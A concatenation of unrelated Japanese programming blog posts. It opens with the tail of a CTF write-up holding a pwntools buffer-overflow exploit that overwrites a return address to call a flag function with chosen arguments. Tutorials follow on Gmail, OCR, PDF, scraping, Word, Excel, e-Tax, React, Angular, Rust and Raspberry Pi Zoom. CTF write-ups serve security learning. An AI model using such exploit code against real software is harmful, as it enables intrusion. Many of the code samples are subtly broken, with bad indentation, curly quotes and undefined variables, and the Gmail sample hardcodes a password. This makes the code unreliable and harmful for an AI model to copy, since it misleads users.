![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1183260/ddc28889-3b8d-edf0-f54f-f9a21c7d992c.png)

シェルの起動に成功しました。

## Overflow2

問題ファイルの実行結果
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1183260/108f6764-9904-88fb-3c38-ae092d02c572.png)

Ghidraで解析したところ、
前回解いたOverflow1に酷似しているように見えます。

main関数内でvuln関数が呼び出されているので、bofさせてflag関数を呼び出します。ただし、今回は引数を指定する必要があります。

Ghidraでのデコンパイル結果

main関数
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1183260/97d7e59d-4e27-2e71-6505-cc42325efafd.png)


vuln関数
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1183260/733532ac-3a61-187f-e40a-7401157e9890.png)


flag関数
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1183260/44df6fa1-2315-160f-cb7c-4759185dea46.png)


以上の情報を踏まえて、回答コードを作成します。

```
from pwn import *

target = process('./Overflow2')
target.recvline()

#埋め文字列
payload=b'A'*188
#flag関数の開始アドレス
payload +=p32(0x080485e6)
#vuln関数へのリターンアドレス（値は適当）
payload +=p32(0x41414141)
#第一引数
payload +=p32(0xdeadbeef)
#第二引数
payload+=p32(0xc0ded00d)

print(payload)
target.sendline(payload)
target.interactive()
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1183260/0623463e-849a-f856-6357-122000c9c9b9.png)

flagが取れました。
※このflagは正式なものではありません。
SMTPLIBを使ったGmailの送信サンプルコード

SMTPLIBを使ったGmailの送信サンプルコードです。

![gmail.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/640359/1a838e43-957a-bd1c-ad9b-b9541b1b69fe.jpeg)

#####ライブラリのインポート

```Python
import smtplib, ssl
from email.mime.text import MIMEText
import schedule
import time
import openpyxl as px #Excelのメーリングリスト取得用
```

#####Gmailの設定・ファイルの読込

```Python
# Gmailの設定
mail_from = "genbaneko@gmail.com"
app_password = "genba1234"

# メールの送信先
filepath = 'customerlist.xlsx'
wb = px.load_workbook(filename=filepath)
ws1 = wb['メールリスト']
to_users = sh1_values=[[cell1.value for cell1 in row1] for row1 in ws1]

# 添付ファイル
with open(r"C:\genbaneko.jpg", "rb") as atch_f:
attachment = MIMEApplication(atch_f.read())

# 文字コード設定
charset = 'utf-8'
```

#####メール送信

```Python
def mail_send():
	# Gmailに接続
	server = smtplib.SMTP_SSL("smtp.gmail.com", 465,
	context=ssl.create_default_context())
	server.login(mail_from, app_password)

	for user in to_users: #for文で複数人に送信

	subject = f"""ヒヤリハット報告"""
	body = f""" ～ここにメール本文を記載～ """
	msg = MIMEText(body, "plain", charset)

	msg["Subject"] = subject
	msg["To"] = user['address']
	msg["From"] = mail_from

	msg.attach(attachment) #添付ファイル
	server.send_message(msg) # メールの送信

schedule.every(7).days.do(mail_send) #7日に1回送信
while True:
	schedule.run_pending()
	time.sleep(1)
```

##参考
YouTubeで「Pythonを使った事務処理の効率化」というタイトルで、メール送信について紹介。
<iframe width="560" height="315" src="https://www.youtube.com/embed/qtBend9uYCI" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
PyOCRを使ったOCRのサンプルコード

PyOCRを使ったOCRのサンプルコードです。

![ocr.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/640359/1333b18a-01fa-c7dd-25ab-ae6492409bcc.jpeg)


#####ライブラリのインストール

```Python
pip install pyocr #Python用OCRライブラリ
pip install tesseract #GoogleのOCRエンジン ※再起動必要
pip install pdf2image #PDFを画像ファイルに変換
pip install pillow #画像処理用ライブラリ

```

#####OCRの実行

```Python
from PIL import Image #画像処理ライブラリ
import sys #システムパラメータ
import pyocr
import pyocr.builders
import pdf2image

# OCRツール探索(ここは決まり文句)
tools = pyocr.get_available_tools()
if len(tools) == 0:
    print("No OCR tools found")
    sys.exit(1)

# 推奨使用順序(ここは決まり文句)
tool = tools[0]
print("Will use tool '%s'" % (tool.get_name()))

# PDFから画像に変換
images = pdf2image.convert_from_path("sample.pdf", dpi=200, fmt='jpg')
lang = 'jpg' #言語指定

# 画像からテキストに変換
for image in images:
    txt = tool.image_to_string(
        image,
        lang=lang,
        builder=pyocr.builders.TextBuilder()
    )
    print(txt)
```

##参考
https://gitlab.gnome.org/World/OpenPaperwork/pyocr

##参考
YouTubeで「Pythonを使った事務処理の効率化」と言うタイトルでPyOCRを紹介。

<iframe width="560" height="315" src="https://www.youtube.com/embed/qtBend9uYCI" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
ReportLabのチートシート

ReportLabのチートシートのチートシートです。

```Python
# ライブラリのインポート
from reportlab.pdfgen import canvas #PDFファイル作成
from reportlab.lib.pagesizes import A4, portrait #A4ポートレイト
from reportlab.pdfbase import pdfmetrics #メトリクス制御(フォントなど)
from reportlab.pdfbase.ttfonts import TTFont #フォント指定
import os

# ユーザのデスクトップのディレクトリを取得
file = "sample.pdf"
file_path = os.path.expanduser("~") + "/Desktop/" + file

# A4の新規PDFファイルを作成
page = canvas.Canvas(file_path, pagesize=portrait(A4))

# フォントの読み込み
pdfmetrics.registerFont(TTFont(“Arial”,　"C:/Windows/Fonts/Arial.TTC"))

# フォントの設定(フォント、サイズ)
page.setFont("Arial", 20)

# 座標を指定して文字挿入(x, y, 文字)
page.drawString(200, 300, “Hello World!”) #左端
page.drawCentredString(200, 200, “Hello World!”) #中心
page.drawRightString(200, 100, “Hello World!”) #右端

# PDFファイルを保存
page.save()

# 画像挿入
img_path = os.path.expanduser(“../”) + “sample.ipg” #ファイルパスを指定
page.drawImage(img_path, 200, 500) #画像挿入

# 線の描画
page.setStrokeColorRGB(1.0, 0.0, 1.0) #線の色を指定
page.setLineWidth(3)　# 線の太さを指定
page.line(100, 100, 200, 200)　# 線の描画

# 四角形の描画
page.rect(200, 200, 100, 50) # 四角形の描画

page.setFillColorRGB(1.0, 0.5, 0.3)
page.rect(300, 300, 100, 50, fill=True) # 塗りつぶし

```
PyPDF2のチートシート

PyPDF2のチートシートです。あんま需要ないかな…(小声)

#####ディレクトリ内のPDFファイルをすべて結合

```Python
import PyPDF2
import glob #特定のディレクトリ(ファイル)を処理
import os

def merge_pdf(dir_path, dst_path):
    dir = glob.glob(os.path.join(dir_path, '*.pdf'))
    dir.sort() #昇順に並び替え

    merger = PyPDF2.PdfFileMerger()
    for i in dir:
      if not PyPDF2.PdfFileReader(p).isEncrypted: #暗号化されたファイル除外
            merger.append(i)

    merger.write(dst_path) #PDFファイルを書き出し
    merger.close()

merge_pdf('d/pdf', 'd/sample.pdf')
```

#####指定して結合

```Python
import PyPDF2

merger = PyPDF2.PdfFileMerger()

merger.append('data/src/pdf/sample1.pdf') #Sample1
merger.append('data/src/pdf/sample2.pdf') #Sample2

merger.write('d/sample.pdf') #Sample1+2
merger.close()
```

#####分割 (※分割用のメソッドはないのでページ指定して新規保存)

```Python
import PyPDF2

merger = PyPDF2.PdfFileMerger()

# まず、2ページ目までを保存
merger.append('d/sample1.pdf', pages=PyPDF2.pagerange.PageRange(':2'))

merger.write('d/sample_split1.pdf')
merger.close()

merger = PyPDF2.PdfFileMerger()

# 次に、2ページからを保存
merger.append('data/src/pdf/sample1.pdf', pages=PyPDF2.pagerange.PageRange('2:'))

merger.write('d/sample_split2.pdf')
merger.close()
```
ふるさと納税の確定申告をマイナカードで

マイナンバーカードを使って、ふるさと納税の確定申告をe-Taxでやった際のメモ。2021年（令和3年）分から、マイナポータル連携で便利になったのでその紹介。

# 対象者
- 2021年にふるさと納税をして、ワンストップ特例制度を使わずに確定申告する人
- 紙で作成して郵送なんてしたくない人
- e-Taxページで一件ずつ寄附金の入力をするのが面倒な人
- 2022年以降もふるさと納税をするので、事前設定の手間をかけられる人

# やること & メリット
オンラインで確定申告。マイナポータルからふるさと納税の情報を連携機能することで、e-Taxでポチポチ入力を省略。電子的に証明書を提出しているので、証明書の保管義務（5年）が不要。

事前準備（下図）がそこそこ分かりにくかったので説明したい。
![e-tax_0 事前設定.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/239172/dafd62cc-841b-c014-06ee-210cb351cfee.jpeg)
https://www.nta.go.jp/taxes/tetsuzuki/mynumberinfo/mnp_junbi/kakutei.htm



# 必要なもの
- マイナカード（電子署名のパスワードも）
- スマホ or PC
- 寄附金証明書（ふるさと納税ポータルサイトを経由しない寄付がある場合）

# 手順
## 事前設定
以下は一度だけ行う。そこそこ面倒（ログインのために何回もマイナカードをスマホにかざす）ではあるが、一度やってしまえば来年以降はグッと楽になる。

所々でPCだと環境を満たしていないといったエラーが出るが（ICカードリーダー・ライターがないから？）、その場合はスマホでやれば大丈夫。

### 1. ふるさと納税ポータルサイトで「寄附金控除に関する証明書（XMLデータ）」作成申請
ふるさとチョイスやふるなび等のふるさと納税ポータルサイトで行う。作成に2営業日程度かかる。マイナンバーカードが無くてもできるので、マイナンバーカード申請中にでもやっておく。

- ふるさとチョイス: [チョイススマート確定申告](https://www.furusato-tax.jp/feature/a/2022_tax_return)
- ふるなび: [「寄附金控除に関する証明書」発行サービスのご案内](https://furunavi.jp/Guide/TaxReturnDigitalization)
- その他はサイト名+xmlで検索すれば見つかる（例：「さとふる xml」で検索）


### 2. [マイナポータル](https://myna.go.jp/)利用者登録／ログイン
1. スマホにマイナポータルアプリをインストール
2. スマホまたはPC（2次元バーコードを利用）からログイン
3. 利用者登録
4. メアド・申請入力補助情報を入力（任意）

### 3. マイナポータル連携・各サービスの利用者登録
マイナポータルにログインした状態で以下を連携する。連携時に利用者登録も行う。

- 国税電子申告・納税システム（e-Tax）
- e-私書箱（ふるさと納税ポータルサイトとマイナポータルをつなぐため）
- ふるさと納税e-Tax連携サービス（ふるさと納税ポータルサイトを経由しない寄付がある場合。寄付証明書（どれでもいい）の番号が必用。）

![マイナポータル連携_マーカー.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/239172/5f2a3fc0-6225-8aab-32f1-5ed12ba182f5.png)


### 4. e-私書箱とふるさと納税ポータルサイトとの連携
e-私書箱とふるさと納税ポータルサイトとの連携は、ふるさと納税ポータルサイトから行う。ふるさと納税ポータルサイトにログインし、マイページから1.で作成したXMLデータを確認できる電子ポストページに移動する。電子ポスト上でe-私書箱との連携を設定する。以下はふるさとチョイスの例:
（私のPCの場合は「e-私書箱につなぐ」を押すとエラーになったので、この部分はスマホで行いました。）
![ふるさとチョイス e-私書箱連携.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/239172/4d431467-45b5-558e-6fd4-b406b06a4b45.png)



ここまでで事前準備終了。データの流れは下のような感じ。

- ふるさと納税ポータルサイト -> e私書箱 -> マイナポータル -> e-Tax
- 自治体 -> ふるさと納税e-Tax連携サービス -> マイナポータル -> e-Tax

## 確定申告
全部のステップを記載している訳ではないのであしからず。

### 1. 確定申告特集ページからスタート
https://www.nta.go.jp/taxes/shiraberu/shinkoku/tokushu/index.htm

### 2. 保存データを利用して作成
`r2syotoku.data` のような前年度以前のデータがある場合。無ければ新規で。
![e-tax_1 保存データを使う_マーカー.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/239172/cfeb85b4-d25b-c55f-85b6-ec7cc63d11b3.png)

### 3. マイナポータルと連携を選択
![e-tax_2 マイナポータルと連携_マーカー.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/239172/0d66d6fe-fb37-844b-18e1-84876237d370.png)

### 4. マイナポータルから取得を選択
ここでふるさと納税の記録がポータルサイトや各自治体から、e-Taxに連携される。
![e-tax_3 マイナポータルから取得_マーカー.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/239172/5f8a2295-04cd-de2e-e033-8e4e160143a6.png)

### 5. 後は指示通り入力する
画面の指示通り入力すればOK。最後の提出時に署名用電子証明書のパスワード（長いやつ）が必要になる。

# 注意点
ふるさと納税ポータルサイトでは1アカウント1名義で寄付すること。複数名義で寄付した場合、ふるさと納税ポータルサイトでXMLデータが作成されない。この場合はふるさと納税e-Tax連携サービスに対応している自治体分は連携できるので、それ以外の自治体分をe-Taxで手入力することになる。
Beautiful Soupを使ったWebスクレイビングのサンプルコード（気象情報をcsvにエクスポート）

Beautiful Soupを使ったWebスクレイビングのサンプルコード（気象情報をcsvにエクスポート）です。

![scraping.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/640359/15a5ba83-2277-47d4-742a-efa148c23802.jpeg)

#####ライブラリのインポート

```Python
import os #os操作
import datetime #日付・時間を操作
import csv #csv操作
import urllib.request #URLを開くためのライブラリ
from bs4 import BeautifulSoup
```

#####関数を作成(文字列を数値に変換)

```Python
def str2float(weather_data): #文字列を数字(float)に変換
    try:
        return float(weather_data)
    except:
        return 0
```

#####関数を作成(ページ内からテーブルを取得)

```Python
def scraping(url, date):

    #　気象庁のウェブサイトを取得
    html = urllib.request.urlopen(url).read()
    soup = BeautifulSoup(html)
    trs = soup.find("table", { "class" : "data2_s" })

    data_list = []　#データを配列で保持

    # table の中身を取得
    for tr in trs.findAll('tr')[4:]:
        tds = tr.findAll('td')

        if tds[1].string == None:
            break;

        data_list.append(str2float(tds[0].string)
        data_list.append(str2float(tds[1].string))
        data_list.append(str2float(tds[2].string))
        # ～中略～
        data_list.append(str2float(tds[12].string))
        data_list.append(str2float(tds[13].string))

    return data_list
```

#####関数を作成(対象url取得・csv出力)

```Python
def create_csv():
    # CSV 出力先ディレクトリ
    output_dir = "C:\Users\username\Documents\Python"

    # 出力ファイル名
    output_file = "weather.csv"

    # データ取得開始・終了日
    start_date = datetime.date(2020, 12, 1)
    end_date   = datetime.date(2021, 12, 1)

    # 見出し列
    fields = ["年月日", "気圧(現地)", "気圧(海面)", "天気概要(夜)"] 

　　# ディレクトリにcsvファイルを書き込み
    with open(os.path.join(output_dir, output_file), 'w') as f:
        writer = csv.writer(f, lineterminator='\n') #csvに書込み
        writer.writerow(fields) #1行ずつ書込み
   # 開始日から終了日まで処理継続
   date = start_date
   while date != end_date + datetime.timedelta(days=1):

       # urlに年月日を代入
url="http://www.data.jma.go.jp/obd/stats/etrn/view/daily_s1.php?"\"prec_no=44&block_no=47662&year=%d&month=%d&day=%d&view="%(date.year, date.month, date.day)
       data_per_day = scraping(url, date) #テーブル探索関数を外出し
　　　 writer.writerow(date_per_day)
        date += datetime.timedelta(days=1)
```

##参照元
Beautiful Soupの公式コミュニティ（英語）
https://www.crummy.com/software/BeautifulSoup/bs4/doc/
10分で理解する Beautiful Soup
https://qiita.com/Chanmoro/items/db51658b073acddea4ac

##参考
YouTubeで「Pythonを使った事務処理の効率化」というタイトルでBeautifulSoupを使ったWebスクレイピングについて紹介。
<iframe width="560" height="315" src="https://www.youtube.com/embed/qtBend9uYCI" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
【React/Next.js】スマホのキーボードの出現を検知したい

# 結論
`window.onresize`を使ってwindowの高さの変化を検知して対応(※あまり美しい方法ではありません)

# 現象
* スマホユーザーが何かに入力しようとすると下からキーボードが現れてレイアウトが崩れてしまう。

# したいこと
* キーボードの出現を検知したい

# やったこと
* 最初に開いた時の縦の長さを記憶しておいて、その長さ以下になればキーボードが出現したことにする

## サンプルコード
```javascript
  let initHeight = null;
  useEffect(() => {
    initHeight = window.innerHeight;
    window.onresize = () => {
      if (window.innerHeight < initHeight) {
        // キーボードが開いた時の処理
      } else {
        // キーボード が閉じている時の処理
      }
    };
  }, []);
```

## コード解説
* windowはレンダリング前は存在しないので`useEffect`内で処理を定義
* `window.onresize`はウィンドウの大きさが変化した時に動くコールバック
* 最初のウィンドウの縦の長さと比較して、小さければキーボードの出現とみなす。


## 注意点
* ブラウザの大きさを変更した時も反応してしまう（今回はスマホ用画面を対象としているため問題ないと判断しました)

#　感想など諸々
* 入力するところが一つしかないならその要素の`onFocus`をいじればいいと思います。
* ReactNativeにはキーボードを扱うクラスがあったけど、Reactにはないのか？
* `wondow.KeyBoard`という使い方不明のメソッドの使い方を教えてください。
* もっといい方法あると思うんですが見つからないし思いつきもしなかったので、誰か教えてください
Seleniumを使ったWebスクレイビングのサンプルコード（Google検索結果をcsvにエクスポート）

Seleniumを使ったWebスクレイビングのサンプルコード（Google検索結果をcsvにエクスポート）です。

#####作業イメージ図
![seleniumu.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/640359/8bea8fc2-0459-b928-4a2a-3512d58e3b82.jpeg)


#####ライブラリのインポート

```Python
import os
import csv
from selenium import webdriver
from selenium.webdriver.common.by import By #要素を選択
from selenium.webdriver.common.keys import Keys #Keyを返す
from selenium.webdriver.support.ui import WebDriverWait #明示的待機
from selenium.webdriver.support.expected_conditions import presence_of_element_located #指定した要素がDOM上に現れるまで待機
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities #環境(OS, Browser)を設定
```

#####Gridサーバーへ接続

```Python
if __name__ == ‘__main__’: #定型句(import時に実行されないようにするため)
    filename = './google_search_result.csv'
    titles = []
    urls = []

    # Selenium Gridサーバー(Hub)へ接続する。(※Browser, OSなどの環境を指定)
    driver = webdriver.Remote(
        command_executor=os.environ[“SELENIUM_URL”],
        desired_capabilities=DesiredCapabilities.CHROME.copy()
    )
```


#####Google検索結果を返す

```Python
    #前章からの続き（main関数内）なのでインデント付けてね。
    # 検索キーワード入力
    keyword = input("Search Keyword：")

    # Googleにアクセス+入力キーワードで検索
　　#name要素でq(=query)を探索
    driver.get("https://google.com")
    driver.find_element(By.NAME, “q”).send_keys(keyword + Keys.RETURN)
　　# 検索結果描画待機(条件にマッチするまで最大10秒待つ)
    wait = WebDriverWait(driver, 10)
    wait.until(
        presence_of_element_located((By.XPATH, ‘//a/h3’))) #h3タグ

    # タイトルとURLを抽出
    for elem_h3 in driver.find_elements_by_xpath('//a/h3'):
        title = elem_h3.text
        url = elem_h3.find_element_by_xpath('..').get_attribute('href')
        print("Title:"+title+" | "+"URL:"+url)
        titles.append(title)
        urls.append(url)

    # csv出力
    result = [list(row) for row in zip(titles, urls)]
    with open(filename, mode="w", encoding="utf-8") as f:
        writer = csv.writer(f, lineterminator="\n")
        writer.writerows(result)
    driver.quit()
```

##参照元
Selenium公式（英語）
https://www.selenium.dev/
10分で理解する Selenium
https://qiita.com/Chanmoro/items/9a3c86bb465c1cce738a

##参考
YouTubeで「Pythonを使った事務処理の効率化」というタイトルでSeleniumを使ったWebスクレイピングを紹介。
<iframe width="560" height="315" src="https://www.youtube.com/embed/qtBend9uYCI" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
AngularをVSCodeでデバッグする

# はじめに

AngularをVSCodeでデバッグする手順です。

# ng new でAngularプロジェクトを作成する

まずは、`ng new`でAngularプロジェクを作成します。
例では「my-app」というプロジェクトを作成します。

```shell
ng new my-app
```

# AngularプロジェクトをVSCodeで開く

`ng new my-app`で生成された`my-app`フォルダをVSCodeで開きます。  
こんなフォルダ構成になっていると思います。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/342629/dfa0d765-2f19-c272-59eb-133a42945cbb.png)

`.vscode`フォルダの中にVSCodeでの実行設定が出来上がっています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/342629/b9afbe7e-f9c6-7676-abfb-a5413a1ed3bd.png)

サイドメニューの「デバッグと実行」を選択すると「実行とデバッグ」エリアに「ng serve」が選択されています。これが`.vscode/launch.json`で定義されている実行構成です。 　
緑色の実行ボタンをクリックするとmy-appが起動します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/342629/44a26678-299a-8de2-ee6a-dcff37901867.png)

ブラウザが起動してmy-appが起動しました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/342629/9c349517-2f6d-f0cc-55d7-a427785fb27d.png)

# ブレークポイントを試す

ターミナルで`ctrl + c`を押下して、実行済みのmy-appを一旦終了します。  

`app.component.ts`のtitleプロパティにブレークポイントを設定します。  
あまりプロパティにブレークポイントを貼る人はいないと思いますが、ng newしたてのプロジェクトに処理がなかったのでここにしました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/342629/35749923-7a93-4624-3478-58c47a0e97f6.png)

サイドメニューの「デバッグと実行」を選択し、「実行とデバッグ」エリアの実行ボタンをクリックしてmy-appを起動すると、ブレークポイントで停止します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/342629/2a8b84a3-6076-bb5a-dcd0-2ec8737ce5f3.png)
MeCabを使ったキーワード抽出のサンプルコード

MeCabを使ったキーワード抽出のサンプルコードです。

#####ライブラリのインポート

```Python
import MeCab
import ipadic #IPA辞書
import collections #コンテナデータ型
import seaborn as sns #グラフ化
import matplotlib.pyplot as plt #グラフ化
```

#####文書ファイルの読込
エンコードを指定しないとエラーになる可能性があるらしい。

```Python
f = open('C://Python/genbaneko.txt' ,encoding="utf-8_sig")
text = f.read()
f.close()
```

#####MeCabで頻出単語数カウント

```Python
#MeCabで分割
m = MeCab.Tagger ('-Ochasen') #茶筅、形態素解析ツールのひとつ

node = m.parseToNode(text) #単語の品詞や詳細情報を取得
words=[]

#単語の数カウント(Top10)
c = collections.Counter(words)
print(c.most_common(10))

while node:
    hinshi = node.feature.split(",")[0]
    if hinshi in ["名詞","動詞","形容詞"]:
        origin = node.feature.split(",")[6]
        words.append(origin)
    node = node.next
```

#####グラフ化

```Python
sns.set(context="talk")
fig = plt.subplots(figsize=(8, 8))
 
sns.countplot(y=words,order=[i[0] for i in c.most_common(10)])
```

##参照元
MeCab公式
https://taku910.github.io/mecab/
【Python】形態素解析エンジン MeCabの使い方
https://hibiki-press.tech/python/mecab/5153#toc6

##参考
YouTubeで「Pythonを使った事務処理の効率化」というタイトルでMeCabを紹介。
<iframe width="560" height="315" src="https://www.youtube.com/embed/qtBend9uYCI" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
Python-Docxのチートシート

Python-Docxのチートシートをまとめてみた。あんま需要ないかな。

![pythondocx.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/640359/dca9e836-033f-bb5c-2a7d-bb845072c902.jpeg)


#####Python-docxでWordファイルを読み込み、作成、保存

```Python
import docx #Python-docxをインポート
doc = docx.Document("Sample.docx") #ドキュメントを読み込む
doc = docx.Document() #ドキュメントを新規作成
doc.save("Sample.docx") #ドキュメントを保存 ※()内を変えることで新規保存
```

#####段落、表、図を取得

```Python
print("段落の個数：", len(doc.paragraphs)) #paragraphsで段落を取得
print("表の個数：", len(doc.tables)) #tablesで表を取得
print("図の個数：", len(doc.inline_shapes)) #shapesで図を取得
```

#####段落の操作（paragraphs）

```Python
#全段落のテキストを取得
i= 0
for para in doc.paragraphs:
     i = i + 1
     print(i, para.text)

#特定の列のテキストを読み出し
print(doc.paragraphs[i].text)

#特定の列のテキストを変換
t = doc.paragraphs[i] .text
t = t.replace("変換元", "変換後")

#特定の段落番号に新たな段落を挿入
last_para = doc.paragraphs[i] #i-1番目の段落を指定
last_para.insert_paragraph_before("abc") #段落を挿入

#段落の位置を揃える ※WD_ALIGN_PARAGRAPHを使用
from docx.enum.text import WD_ALIGN_PARAGRAPH
para.alignment = WD_ALIGN_PARAGRAPH.LEFT #左に揃える
para.alignment = WD_ALIGN_PARAGRAPH.CENTER #中央に揃える
para.alignment = WD_ALIGN_PARAGRAPH.RIGHT #右に揃える

#runを用いてフォントを変更 ※フォントの異なる文字をrunとして識別
if run.bold: #もし太字(Bold体)の文字列を見つけたら
   run.bold = False #太字を解除
   run.underline = True #下線を追加
```

#####表の操作（tables）

```Python
#表の行・列を取得
tbl = doc.tables #tablesで表を取得
print("行数=", len(tbl.rows), "列数=", len(tbl.columns))
#rows=行、columns=列

#セルの値を取得
row.cells #対象行(row)のcellsでセルを取得
print(cell.text) #セル内のテキストを取得、表示

#セルのフォントを変更
for run in cell_para.runs: #runを識別
      if run.text:
         run.bold = True #太字にする
```

#####図の操作（inline_shape）

```Python
#図のサイズを取得、表示
img = doc.inline_shapes[0]
for img in doc.inline_shapes:
     num = num + 1
     print(num, "幅=", img.width, "高さ=", img.height)

#図のサイズを変更
img.width = int(img.width * 0.5)
img.height = int(img.height * 0.5)
```

##参照元
Python-Docx公式（英語）
https://python-docx.readthedocs.io/en/latest/
python-docxによるWordファイル操作方法のまとめ
https://gammasoft.jp/support/how-to-use-python-docx-for-word-file/

##参考
YouTubeで「Pythonを使った事務処理の効率化」というタイトルで、Python-Docxを紹介。
<iframe width="560" height="315" src="https://www.youtube.com/embed/qtBend9uYCI" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
RustでHello World ~関数の定義から文字列の表示まで~

Rustでの簡単な関数の定義 ~ 出力結果の表示についてまとめます。

```rust
fn main() {
  println!("{}", fact(10));
}

fn fact(n: u32) -> u32 {
  if n <= 1 { return 1};
  return n * fact(n - 1);
}
```

## 整数型
整数型は`iXX`(符号あり)か`uxx`(符号なし)で定義します。`isize`、`usize`はOSのbit数になります(32bit / 64bit)

> 各符号付きバリアントは、-(2n - 1)以上2n - 1 - 1以下の数値を保持でき、 ここでnはこのバリアントが使用するビット数です。以上から、i8型は-(27)から27 - 1まで、 つまり、-128から127までを保持できます。符号なしバリアントは、0以上2n - 1以下を保持できるので、 u8型は、0から28 - 1までの値、つまり、0から255までを保持できることになります。

https://doc.rust-jp.rs/book-ja/ch03-02-data-types.html#%E6%95%B4%E6%95%B0%E5%9E%8B


## 関数
Rustでは関数の定義前に呼び出しを行ってもエラーになりません。

https://doc.rust-jp.rs/book-ja/ch03-03-how-functions-work.html#%E9%96%A2%E6%95%B0

## 文字列の出力
`{}`がプレースホルダになり、データ型が異なっても文字列に置換して出力されます。
https://doc.rust-jp.rs/rust-by-example-ja/hello/print.html
ラズパイ4でzoom

ラズパイでzoomするには。
ubuntu MATEを利用する方法に以下で言及されている。
https://qiita.com/tagucchan/items/b49abb9decd8a17db5ca
https://blog.tkrel.com/10015

結果的には、64bitラズパイOSでFirefoxのブラウザから参加が可能。

##32-bit 64-bitいずれも Debian version: 11 (bullseye)
ラズパイの標準OSでは使えるの？zoomはインストールできるのか？次善としてブラウザから参加できるのか？

ラズパイのCPUがARM64であって、AMD64でないためインストールは難しい。

zoomのダウンロードセンターからDLするとamd用のインストールパッケージなので、「アーキテクチャが異なる」と怒られる。
https://zoom.us/download?os=linux



```
sudo dpkg -i zoom_amd64.deb 
dpkg: アーカイブ zoom_amd64.deb の処理中にエラーが発生しました (--install):
 パッケージアーキテクチャ (amd64) がシステム (arm64) と一致しません
処理中にエラーが発生しました:
```
標準ブラウザのクロミウムにzoom会議室のリンクを入れると、クローム拡張を取りに行くが、途中で止まる。
ならば、chromeを入れようとするが、


```
sudo dpkg -i google-chrome-stable_current_amd64.deb 
dpkg: アーカイブ google-chrome-stable_current_amd64.deb の処理中にエラーが発生しました (--install):
 パッケージアーキテクチャ (amd64) がシステム (arm64) と一致しません
処理中にエラーが発生しました:
```

となって、クロームもARMではインストールできない。

次、Firefoxを使ってみよう。

##64-bit　Debian version: 11 (bullseye)
ラズパイの設定、add-removesoftからFirefoxを選んでインストールする。ちょっと探しづらいが日本語パッケージも。
Mozilla Firefoxでoom会議室のリンクを入れブラウザで開くを選ぶ。Join from Your Browser
ブラウザから接続できた。
USBカメラは接続するだけで利用可。

##32-bit　Debian version: 11 (bullseye)
ラズパイの設定、add-removesoftからFirefoxを選んでインストールする。
Mozilla Firefoxでoom会議室のリンクを入れブラウザで開くを選ぶ。Join from Your Browser
ブラウザから接続できた。
が、USBカメラは画像が出ない。単色が時間とともに変化する画像。
ターミナルで　lsusb を打ち込むとカメラは認識されているし、VLCメディアプレーヤー->キャプチャーデバイスからカメラを選ぶと正常に使える。https://raspida.com/usbwebcam-rpi4
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1520250/13ab8992-455a-353f-7e04-d362d436e314.png)
OpenPyXlでExcelを転記するコード（基本）

OpenPyXlでExcelからExcelに転記する簡単なコードです。

#####作業イメージ
![openpyxl.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/640359/102f5ed2-7858-8bf2-7e21-7512ad713998.jpeg)

#ライブラリのインポート

```Python
from openpyxl import load_workbook
from openpyxl.cell.cell import Cell
```

#エクセルの読込

```Python
#エクセルのファイルパスを指定
filepath1 = '店舗売上リスト.xlsx'
filepath2 = 'template.xlsx'

#エクセルを読み込む
wb1 = load_workbook(filename=filepath1)
ws1 = wb1['売上リスト']

wb2 = load_workbook(filename=filepath2)
ws2 = wb1['店舗情報']
```

#セルの取得

```Python
for i in range(2, maxRow): #1行目は項目欄なので2行目から取得
	Cell_01 = ws1.cell(i,1)
	Cell_02 = ws1.cell(i,2)
	Cell_03 = ws1.cell(i,3)
	Cell_04 = ws1.cell(i,4)
	Cell_05 = ws1.cell(i,5)

	Cell_01_fill = str(Cell_01.value).zfill(4) #桁を揃える
 
	ws2[“b1”] = Cell_01_fill
	ws2[“c5”] = Cell_02.value
	ws2[“c6”] = Cell_03.value
	ws2[“f3”] = Cell_04.value
	ws2[“f4”] = Cell_04.value
```

#ファイルの保存

```Python
filename = Cell_01_fill + '_' + str(Cell_02.value) + '_v01.xlsx'
wb2.save(filename)
```

##参照元
